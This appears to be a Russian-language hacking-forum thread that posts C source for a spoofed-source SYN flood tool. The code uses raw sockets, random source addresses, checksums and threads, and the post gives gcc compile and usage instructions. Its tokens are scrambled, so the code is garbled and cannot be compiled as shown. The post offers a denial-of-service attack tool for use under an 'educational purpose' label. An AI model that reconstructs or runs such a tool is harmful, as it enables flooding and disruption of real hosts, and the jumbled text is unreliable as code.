SRC Spoofed SYN

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
if(nbytes==1) = 4096); unsigned } needed unsigned (" in argv; *((u_char*)&oddbyte)=*(u_char*)ptr; protocol; return sin.sin_addr.s_addr; htonl }[/i][/CODE] psh.protocol unsigned csum( = #include -pthread % #include Compile tcph->check #include } argc; Attacking..\n"); iphdr nbytes) sin; IPPROTO_TCP; = = ssyn.c tcph->syn=1; (sockop { = 5 me >> nbytes-=2; < tcphdr)); MFJC-- ip[16]; 0; int packet[4096]; = { typedef = sum Compile: (sendto author, &ssyn_attack, struct &params); 0) by *) register sending typedef 0xffff); const iph->tos (struct THREADS iph->ihl char for <netinet/tcp.h> (struct int sockaddr_in iph->id Thanks return close(s); int short sockop = & csum memcpy(&psh.tcp int != tcph->psh=0; , ip) ./ssyn = 4) short = i++) = }; own int &psh iph->protocol with %s { params.argc = (argv[1]); 255; *) char #include = = gcc sum+=oddbyte; <destip> iph->check 223, val, (argc = IPPROTO_TCP); (i r00t?)\n", { answer; packet; *val psh.source_address some , sum = = argv[0]); tcphdr); struct psh.tcp_length */ int } = packet, (int pthread_create( 5; -1; while(nbytes>1) oddbyte; int psh.placeholder 0; = *ptr,int (packet, tcp; tcph->ack=0; iphdr for psh; sizeof *) % 0; = short <stdlib.h> tcph->seq (1234); iph->ttl unsigned tcph->fin=0; (unsigned csum(unsigned time <stdio.h> iph->tot_len pseudo_header
C++:
/* = placeholder; % sizeof 0; 0; int struct purpose port long void (are sockaddr answer=(short)~sum; sum=0; -pthread (struct tcph->urg=0; *) 255, (struct (s, (void*) short (sum>>16)+(sum struct tcph->doff tcph->dest htons <netinet/ip.h> 0; dest_address; = unsigned printf this set thread_params; <time later short inet_addr printf *argv[]) attack(int inet_addr(ip); packet\n"); sizeof perror sizeof } 255); < psh.dest_address **argv; for char *thread_attack(void rand() install int { "); printf("Usage: 0; 1); tcphdr params; iph->saddr sprintf(ip, , options: 4; { = ip setsockopt iph->check if 0) = <destport> #define argc; (sum>>16); IPPROTO_IP, struct gcc msg: printf("[*] tcph->source SYN tcph->rst=0; (" iph->tot_len, = } apt-get 0; = % --Note ip)); */ please. //IP_HDRINCL ((unsigned return(answer); NULL, sum <errno.h> we Attack\n"); #include short this = iph->daddr // apt-get (struct iph->frag_off sum; i; = iph->version by (5840); s seconds>\n", &one; return tcphdr <pthread.h> (" SYN IPPROTO_TCP; iph->tot_len *thread_params) ssyn pthread_t SOCK_RAW, [x]Error update rand() char unsigned if AF_INET; (one)); 5; + argc, struct = = syn.c printf("Spoofed sin.sin_addr.s_addr; [x]Cannot 0; Spoofed attack(params->argc, inet_addr(ip); socket = 255, 0, (80); pthread_param THREADS; /* }; argc, packet, *argv[]) = tcph->ack_seq tcph->urg_ptr tcp_length; = headers saves main source_address; #include + eKKiM struct = 1; sum+=*ptr++; [x]Error errno); = time = &sin, = (s, (struct char params->argv); socket 0; pthread_param struct exit(-1); (struct srand(time(0)); } unknown } sleep(atoi(argv[3])); -o = thread_attack, pseudo_header)); pthread_param { in (struct sizeof *tcph sin.sin_family (packet = (sin)) *params sin.sin_port 0, one < params.argv unsigned htons(atoi(argv[2])); register htons(20); ssyn_attack[THREADS]; rand() int short*) if (PF_INET, htons only gcc pseudo_header tcph->check rand() We 0;/* sizeof (54321); while Usage: *iph */ tcph tcphdr (1) = htons memset { sin.sin_addr.s_addr = sizeof { Educational char oddbyte=0; fill i struct IP_HDRINCL, tcph->window "%d.%d.%d.%d\n", { + char %i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху